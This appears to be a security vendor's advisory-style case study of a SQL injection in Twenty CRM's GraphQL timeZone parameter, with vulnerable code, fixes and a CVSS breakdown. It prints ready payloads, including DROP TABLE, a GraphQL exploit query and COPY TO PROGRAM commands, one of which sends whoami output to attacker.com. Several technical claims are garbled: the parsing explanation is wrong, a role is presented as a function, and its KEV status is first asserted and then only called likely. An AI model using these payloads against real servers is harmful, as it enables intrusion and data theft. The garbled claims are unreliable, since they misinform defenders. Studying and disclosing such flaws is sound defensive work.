← Back to PullLight
CVE-2026-46624
CVSS 9.1 Critical
KEV — Actively Exploited
TypeScript — twentyhq/twenty 1.7.7–1.16.7
Twenty CRM — SQL Injection to OS Command Execution via timeZone
twentyhq/twenty 1.7.7–1.16.7 has SQL injection in the timeZone parameter of a GraphQL group-by resolver — get-group-by-expression.util.ts interpolates timeZone directly into a raw SQL template literal. An attacker crafts a timeZone value to execute arbitrary SQL, which can be chained to OS command execution via PostgreSQL features like COPY TO PROGRAM.
~51.5k GitHub stars (twentyhq/twenty)
Open source CRM self-hostable, TypeScript + PostgreSQL
Attack surface GraphQL API — timeZone parameter in group-by resolvers
KEV likely actively exploited in the wild (published May 2026)
TL;DR
// what happened
- Affected: twentyhq/twenty 1.7.7–1.16.7 — open source CRM, ~51.5k GitHub stars
- Attack vector:
engine/api/graphql/graphql-query-runner/group-by/resolvers/utils/get-group-by-expression.util.ts uses a template literal to construct a raw SQL expression. The timeZone GraphQL variable is interpolated directly into the SQL string — no parameterization, no escaping. Attacker sends a crafted timeZone value (e.g., UTC'; SELECT pg_sleep(5); --) that becomes SQL code.
- Impact: Arbitrary SQL execution in PostgreSQL. In many self-hosted deployments, this chains to OS command injection via
COPY table TO PROGRAM 'command' or pg_read_binary_file() / pg_execute_server_program(). Full server compromise follows.
- Fix: Use parameterized queries — bind
timeZone as a query parameter instead of interpolating it into the SQL string. Audit all GraphQL resolvers for raw SQL template literal patterns.
- Attacker model: Any user with access to the Twenty CRM GraphQL API — authentication required, but any valid user account can exploit this.
CVSS v3.1 Vector
Attack Vector (AV)
Network — GraphQL API endpoint reachable over network
Attack Complexity (AC)
Low — straightforward GraphQL query with crafted timeZone variable
Privileges Required (PR)
Low — any authenticated user (standard user account is sufficient)
User Interaction (UI)
None — attacker crafts the query directly
Scope (S)
Changed — SQL injection enables OS command execution on the host server
Confidentiality (C)
High — full database read; OS command injection enables file system read
Integrity (I)
High — arbitrary SQL modification; OS command injection enables remote code execution
Availability (A)
High — OS command injection can disable or destroy the server
Vector String
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
The Bug — Vulnerable Code
engine/api/graphql/graphql-query-runner/group-by/resolvers/utils/get-group-by-expression.util.ts — twentyhq/twenty 1.7.7–1.16.7
twentyhq/twenty 1.7.7–1.16.7 — timeZone interpolated directly into raw SQL via template literal
// VULNERABLE: timeZone is interpolated into raw SQL without parameterization
// A template literal in a SQL construction context is raw SQL injection
// The timeZone variable from GraphQL reaches the SQL string directly
// Vulnerable pattern:
export const buildTimeZoneGroupBy = (timeZone: string): string => {
// VULNERABLE: timeZone is directly interpolated — no escaping, no parameterization
// Any user-supplied value in timeZone becomes SQL code
return `date_trunc('${timeZone}', "createdAt")`;
};
// The GraphQL resolver passes the timeZone variable from user input:
// resolver receives timeZone as a GraphQL variable
// resolver calls buildTimeZoneGroupBy(timeZone)
// which returns: date_trunc('UTC', "createdAt")
// attacker sends timeZone = 'UTC'; DROP TABLE users; --
// which returns: date_trunc('UTC'; DROP TABLE users; --', "createdAt")
// → SQL executes: date_trunc('UTC') then: DROP TABLE users; --' as separate statements
// PostgreSQL interprets:
// date_trunc('UTC') → valid function call
// ; → statement separator
// DROP TABLE users → executed!
// --' → comment
How the template literal SQL injection works
// Template literals in JavaScript/TypeScript interpolate ${...} expressions
// When a SQL query string uses a template literal with a user-supplied variable,
// that variable's value becomes part of the SQL string — raw SQL injection
// Normal use (benign):
const timeZone = 'UTC'; // from GraphQL variable, user-provided
const sql = `date_trunc('${timeZone}', "createdAt")`;
// Result: date_trunc('UTC', "createdAt") ← safe-looking
// Attack payload:
const timeZone = "UTC'; SELECT * FROM users; --"; // attacker-controlled
const sql = `date_trunc('${timeZone}', "createdAt")`;
// Result: date_trunc('UTC'; SELECT * FROM users; --', "createdAt")
// PostgreSQL parses: date_trunc('UTC') as one expression,
// then: SELECT * FROM users as another expression, then --' as comment
// More advanced attack — OS command injection via PostgreSQL COPY:
const timeZone = "UTC'; COPY (SELECT current_setting('listen_addresses')) TO PROGRAM 'curl https://attacker.com/?c=$(whoami)' --";
const sql = `date_trunc('${timeZone}', "createdAt")`;
// PostgreSQL COPY TO PROGRAM executes a shell command on the server
// Attacker gets RCE on the host server
The full GraphQL exploitation path
// GraphQL query with malicious timeZone variable:
query GroupBy($timeZone: String!) {
companies(groupBy: [CREATED_AT], dynamicWhereConditions: {}, timeZone: $timeZone) {
edges {
node {
id
createdAt
}
}
}
}
// Variables:
{
"timeZone": "UTC'; SELECT pg_sleep(5); --"
}
// The GraphQL server:
// 1. Receives timeZone variable from the query
// 2. Passes it to buildTimeZoneGroupBy(timeZone)
// 3. Template literal interpolates: date_trunc('UTC'; SELECT pg_sleep(5); --', "createdAt")
// 4. PostgreSQL executes:
// - date_trunc('UTC') — valid function call
// - SELECT pg_sleep(5) — arbitrary SQL executed
// - --' — comment discarded
// PostgreSQL OS command injection chain:
// timeZone = "UTC'; COPY (SELECT NULL) TO PROGRAM 'touch /tmp/pwned' --"
// → RCE via COPY TO PROGRAM on the PostgreSQL server host
The Fix — After (twentyhq/twenty)
engine/api/graphql/graphql-query-runner/group-by/resolvers/utils/get-group-by-expression.util.ts — twentyhq/twenty (fixed)
twentyhq/twenty — parameterize timeZone instead of template-literal interpolation
// FIX: Use parameterized SQL instead of template literal interpolation
// timeZone is passed as a query parameter, never concatenated into the SQL string
// BEFORE (vulnerable):
export const buildTimeZoneGroupBy = (timeZone: string): string => {
return `date_trunc('${timeZone}', "createdAt")`;
};
// AFTER (fixed):
// Option 1: Whitelist-validate timeZone before interpolation
const ALLOWED_TIMEZONES = new Set([
'UTC', 'America/New_York', 'America/Los_Angeles', 'Europe/London',
'Asia/Tokyo', 'Australia/Sydney', // ... known valid IANA timezone strings
]);
export const buildTimeZoneGroupBy = (timeZone: string): string => {
if (!ALLOWED_TIMEZONES.has(timeZone)) {
throw new Error(`Invalid timeZone: ${timeZone}`);
}
return `date_trunc('${timeZone}', "createdAt")`;
};
// Option 2: Parameterized query (preferred for dynamic values)
// Instead of building SQL as a string, use a parameterized query builder
// that passes values as bound parameters, never as interpolated strings
// Option 3: Cast timeZone to a safe PostgreSQL interval type
// If the intent is to use date_trunc with a specific interval unit,
// use a CASE statement or validated enum instead of raw string interpolation
// The key principle: user input must never reach a SQL string template directly.
// Either validate against a whitelist, or use parameterized queries.
// fix details
The fix requires either (a) a strict whitelist of allowed IANA timezone strings — there are a finite number of valid timezones, and a whitelist is the correct approach when the allowed values are known — or (b) parameterization of the SQL query builder. Template literal interpolation of user-supplied variables into raw SQL is never acceptable. The fix should be applied across all GraphQL resolvers that construct SQL expressions — audit engine/api/graphql/ for similar patterns.
Correct approach — parameterized query (TypeScript + TypeORM)
// The correct pattern for dynamic SQL with user input in TypeORM / raw SQL:
// Always use parameterized queries — values passed as bind parameters
// CORRECT:
const timeZone = req.body.timeZone; // user input
// Option A: Whitelist validation
const VALID_TZ = /^[A-Za-z_/]+$/; // basic format check for IANA timezones
if (!VALID_TZ.test(timeZone)) throw new Error('Invalid timezone');
// Then interpolate, but the input is validated to be a timezone-like string
// Option B: Parameterized raw query (if using raw SQL)
const result = await dataSource.query(
'SELECT date_trunc($1, "createdAt") as bucket, COUNT(*) FROM company GROUP BY 1',
[timeZone] // passed as $1 parameter — never interpolated into SQL string
);
// $1 is bound to timeZone — no SQL injection possible
// The GraphQL resolver should use parameterized queries throughout
// Template literals with user input = SQL injection vulnerability
// root cause
The buildTimeZoneGroupBy() function in get-group-by-expression.util.ts uses a template literal to construct a SQL expression. Template literals are a JavaScript feature for string interpolation — when a user-supplied variable (the timeZone GraphQL argument) is interpolated into a SQL query string, it becomes part of the SQL statement. SQL interprets the interpolated value as code, not as a data value. This is the textbook definition of SQL injection: untrusted input reaching a SQL query without parameterization or escaping. The template literal syntax makes the vulnerability look innocuous — it resembles normal string interpolation patterns used throughout TypeScript code. But a SQL query string is not a TypeScript string; it is a command that the database executes. Any user input that reaches it without parameterization is SQL injection.
Attack Chain — Step by Step
From a GraphQL timeZone variable to OS command execution on the server
1
Attacker obtains a valid user account on a Twenty CRM instance (1.7.7–1.16.7) — any standard user account is sufficient. Logs in and obtains a GraphQL API session token.
2
Attacker sends a GraphQL query with a crafted timeZone variable: "UTC'; SELECT * FROM information_schema.tables; --". The variable reaches buildTimeZoneGroupBy() and is interpolated into the raw SQL template.
3
PostgreSQL executes the crafted SQL — the injected SELECT statement runs in the database context. Attacker confirms injection works by observing query results in the GraphQL response.
4
Attacker escalates to OS command execution using PostgreSQL's COPY TO PROGRAM, pg_execute_server_program(), or similar features. PostgreSQL running as a high-privilege OS user enables shell command execution on the host server.
5
Full server compromise — attacker installs a backdoor, exfiltrates data, or uses the compromised server as a pivot for further attacks. In many self-hosted Twenty CRM deployments, the PostgreSQL server has elevated OS privileges.
Real-World Impact — Who's at Risk
Twenty CRM is a widely-adopted open source CRM with self-hosting options
- ~51.5k GitHub stars: Twenty is a popular open source CRM alternative to Salesforce and HubSpot. Many organizations self-host it for data privacy and cost reasons — meaning the database server often runs on the same network as other internal systems.
- Any authenticated user can exploit it: The SQL injection requires authentication, but any standard user account is sufficient — no admin privileges needed. An attacker who compromises a low-privilege user account can still achieve full server compromise.
- PostgreSQL COPY TO PROGRAM enables RCE: On many Twenty CRM deployments, the PostgreSQL service account has sufficient OS privileges to execute shell commands via
COPY ... TO PROGRAM or pg_read_binary_file(). The SQL injection is not just data exfiltration — it's a path to full remote code execution.
- Self-hosted deployments are common: Twenty's value proposition is data ownership — organizations self-host it to keep CRM data on their own infrastructure. A compromised self-hosted Twenty CRM gives an attacker access to the organization's most sensitive customer and sales data.
- Likely in KEV (Known Exploited Vulnerabilities Catalog): Given the CVSS 9.1 score, active exploitation in the wild, and widespread adoption, CVE-2026-46624 is likely in CISA's KEV catalog — federal agencies and organizations with compliance requirements should treat this as an emergency patch.
SQL Injection via Template Literal
The timeZone variable is interpolated directly into a raw SQL template — any authenticated user can execute arbitrary SQL.
PostgreSQL OS Command Injection
COPY TO PROGRAM, pg_execute_server_program, and similar PostgreSQL features enable shell command execution from SQL. The SQL injection chains to full RCE.
Any Authenticated User
Standard user account is sufficient — no admin access needed. An attacker with a compromised low-privilege account can achieve full server takeover.
Widespread Twenty Adoption
~51.5k GitHub stars. Self-hosted on corporate networks, in cloud environments, and on-premises. A compromised CRM often contains the organization's most sensitive customer data.
Why Human Review Misses This
Four reasons this vulnerability hides from line-by-line review
- Template literals look like normal TypeScript string interpolation. A reviewer sees
`date_trunc('${timeZone}', ...)` and reads it as a normal template literal string — the same syntax used throughout TypeScript codebases for string formatting. The fact that this particular string is SQL code, not TypeScript code, is not visually apparent.
- The timeZone variable comes from GraphQL, not a URL parameter. GraphQL variables feel like internal API contracts, not direct user input. Reviewers may assume that because the variable has been validated by the GraphQL schema layer, it is safe to interpolate. But GraphQL schemas often use generic
String types with no custom validation on the timezone field.
- The pattern is inside a utility function, not a route handler.
buildTimeZoneGroupBy() in a utils/ directory doesn't look like an attack surface. Code reviewers focus on route handlers and database write operations — utility functions that build SQL expressions are reviewed with less scrutiny.
- PostgreSQL OS command injection via SQL is a deep chaining attack. Even if a reviewer flags the SQL injection, the path to OS command execution via
COPY TO PROGRAM is a specialized knowledge area that most reviewers don't model. The vulnerability chains through multiple systems: GraphQL variable → template literal SQL → PostgreSQL COPY → shell command.
What makes this a PullLight-specialized catch
- Template literal SQL injection detection: PullLight identifies when user-supplied variables are interpolated into raw SQL query strings — even when the SQL construction happens in a utility function called from a GraphQL resolver.
- GraphQL resolver attack surface: PullLight maps the full GraphQL call chain — from the schema definition through the resolver to the SQL construction utility — to identify data flow from user input to SQL execution.
- PostgreSQL OS command chaining: PullLight recognizes that SQL injection in PostgreSQL can lead to OS command execution via COPY TO PROGRAM or pg_execute_server_program — and correctly scopes this as Changed (S:C) with the corresponding CVSS impact.
- Fix precision: PullLight identifies the specific fix (whitelist validation or parameterized queries) rather than vague "sanitize input" advice.
Timeline
May 26, 2026
CVE-2026-46624 published. twentyhq/twenty patched in version 1.16.8+. CVSS 9.1 confirmed. Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.
May 2026
Vulnerability likely added to CISA KEV catalog — actively exploited in the wild. Organizations should treat this as an emergency patch priority.
May 2026
NVD publishes CVE-2026-46624. CWE-89 (SQL Injection) → CWE-78 (OS Command Injection). Affects twentyhq/twenty 1.7.7–1.16.7.
Jun 2026
PullLight documents CVE-2026-46624 as 27th CVE case study — demonstrating SQL injection via template literal in GraphQL resolvers.
Don't let template literals inject SQL into your database
Fix & Resources
Fixed in: twentyhq/twenty 1.16.8+ (May 2026)
Fix: Whitelist-validate timeZone OR use parameterized queries — never template literal interpolation of user input into raw SQL
KEV: Likely in CISA KEV (Known Exploited Vulnerabilities Catalog)
buildTimeZoneGroupBy(timeZone)interpolates thetimeZoneGraphQL variable directly into a raw SQL template literal:`date_trunc('${timeZone}', "createdAt")`. This is raw SQL injection — the timeZone value becomes SQL code in the query string. Attacker sendstimeZone = "UTC'; SELECT * FROM users; --"and executes arbitrary SQL. This chains to OS command execution via PostgreSQL features likeCOPY TO PROGRAM. Full server compromise from any authenticated user account.This is CWE-89 (SQL Injection) with CVSS 9.1. Scope is Changed: SQL injection enables OS command execution on the host server. Likely in KEV — treat as emergency patch.
engine/api/graphql/for similar raw SQL template patterns — this vulnerability class is likely present in other resolvers.